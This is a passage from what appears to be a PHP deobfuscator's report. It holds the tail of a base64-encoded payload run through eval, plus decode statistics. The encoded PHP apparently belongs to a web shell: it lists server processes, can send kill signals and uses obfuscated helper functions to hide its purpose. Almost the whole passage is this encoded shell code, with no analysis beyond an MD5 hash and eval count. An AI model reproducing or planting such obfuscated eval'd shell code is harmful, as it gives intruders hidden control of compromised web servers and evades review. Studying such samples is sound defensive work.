KGFycmF5KCdhY3QnPT4ncHJvY2Vzc2VzJywnZCcsJ3NvcnRwJywncGZpbHRlcic9PigoJGJvb2wmJiRwZmlsdGVyPT0kbGluZVswXSk/Jy0tLSc6JGxpbmVbMF0pKSx6OGIoJGxpbmVbMF0sJzEnLCgoJGxpbmVbMF09PSRjdXNlcik/JyBzdHlsZT0iY29sb3I6Jy56OXEoIm9rY29sb3IiKS4nOyInOicnKSkpOyAkbGluZVsxMF09QGpvaW4oIiAiLEBhcnJheV9zbGljZSgkbGluZSwxMCkpOyAkbGluZT1AYXJyYXlfc2xpY2UoJGxpbmUsMCwxMSk7ICRsaW5lW109ejV4KGFycmF5KCdhY3QnPT4ncHJvY2Vzc2VzJywnZCcsJ3NvcnRwJywncGZpbHRlcicsJ3BpZCc9PiRsaW5lWzFdLCdzaWcnPT4nOScpLHo4Yih6OXkoIjM5MiIpLCI3IikpOyAkcHJjc1tdPSRsaW5lOyB9IH0gfSB9ZWxzZXsgJHI9QGNvbnZlcnRfY3lyX3N0cmluZygkciwiZCIsInciKTsgJHN0YWNrPUBleHBsb2RlKCJcbiIsJHIpOyB1bnNldCgkc3RhY2tbMF0sJHN0YWNrWzJdKTsgJHN0YWNrPUBhcnJheV92YWx1ZXMoJHN0YWNrKTsgJHN0YWNrPUBhcnJheV9zbGljZSgkc3RhY2ssMSk7ICRoZWFkWzBdPSJQUk9HUkFNIjsgJGhlYWRbMV09IlBJRCI7IGlmKCRwcHNvcnRbMF0+PUBjb3VudCgkaGVhZCkpeyAkcHBzb3J0WzBdPUBjb3VudCgkaGVhZCktMTsgfSBmb3IoJGk9MDskaTxAY291bnQoJGhlYWQpOyRpKyspeyBpZigkaSE9JHBwc29ydFswXSl7ICRoZWFkWyRpXT16NXgoYXJyYXkoJ2FjdCcsJ2QnLCdzb3J0cCc9PiRpLiRwcHNvcnRbMV0pLHo4YigkaGVhZFskaV0sJzMnKSk7IH0gZWxzZSB7ICRoZWFkWyRpXT16NXgoYXJyYXkoJ2FjdCcsJ2QnLCdzb3J0cCc9PiRwcHNvcnRbMF0uKCRwcHNvcnRbMV09PSdhJz8nZCc6J2EnKSksejhiKCRoZWFkWyRwcHNvcnRbMF1dLicgJy4oJHBwc29ydFsxXT09J2EnPycmdWFycjsnOicmZGFycjsnKSwnMycpKTsgfSB9ICRwcmNzPWFycmF5KCk7IGZvcmVhY2goJHN0YWNrIGFzICRsaW5lKXsgaWYoIUBlbXB0eSgkbGluZSkpeyAkbG49QGV4cGxvZGUoIiAiLCRsaW5lKTsgaWYoQGNvdW50KCRsbik+PTIpICRwcmNzW109YXJyYXkoJGxuWzBdLCRsblsxXSk7IH0gfSB9ICR2PSRwcHNvcnRbMF07IEB1c29ydCgkcHJjcywiejJiIik7IGlmKCRwcHNvcnRbMV09PSJkIil7ICRwcmNzPUBhcnJheV9yZXZlcnNlKCRwcmNzKTsgfSAkdGFiPWFycmF5KCk7IGlmKCFAaXNzZXQoJGdyZXApfHwhJGdyZXApeyAkdGFiW109JGhlYWQ7IH0gJHRhYj1AYXJyYXlfbWVyZ2UoJHRhYiwkcHJjcyk7IGVjaG8gejltKCcyJyk7ICRjbnQ9MDsgZm9yZWFjaCgkdGFiIGFzICRpPT4kayl7ICRyPScnOyAkY250Mj0wOyBmb3JlYWNoKCRrIGFzICRqPT4kdil7IGlmKCR3aW4gYW5kICRpPjAgYW5kICRqPT0yKXsgJHY9ejd4KCR2KTsgfSBpZigkY250PT0wKXsgJHIuPSgoJGNudDI9PTApID8gejdrKCR2LCcxMycsJzInKTooJGNudDI9PShAY291bnQoJGspLTEpP3o3aygkdiwnMTMnLCczJyk6ejdrKCR2LCcxMycpKSk7IH0gZWxzZSB7ICRyLj0oKCRjbnQyPT0wKSA/IHo3aygkdiwnMTQnLCcyJyk6KCRjbnQyPT0oQGNvdW50KCRrKS0xKT96N2soJHYsJzE0JywnMycpOno3aygkdiwnMTQnKSkpOyB9ICRjbnQyKys7IH0gZWNobyB6N3UoJHIsKCRjbnQlMj8gJzAnOiAnMScpKTsgJGNudCsrOyB9IGVjaG8gejEwcSgpOyB9IH0gejNqKCk7ID8+DQo="));
Function Calls
base64_decode | 1 |
Stats
MD5 | c7ddf21679b437ce8686359c02514517 |
Eval Count | 1 |
Decode Time | 443 ms |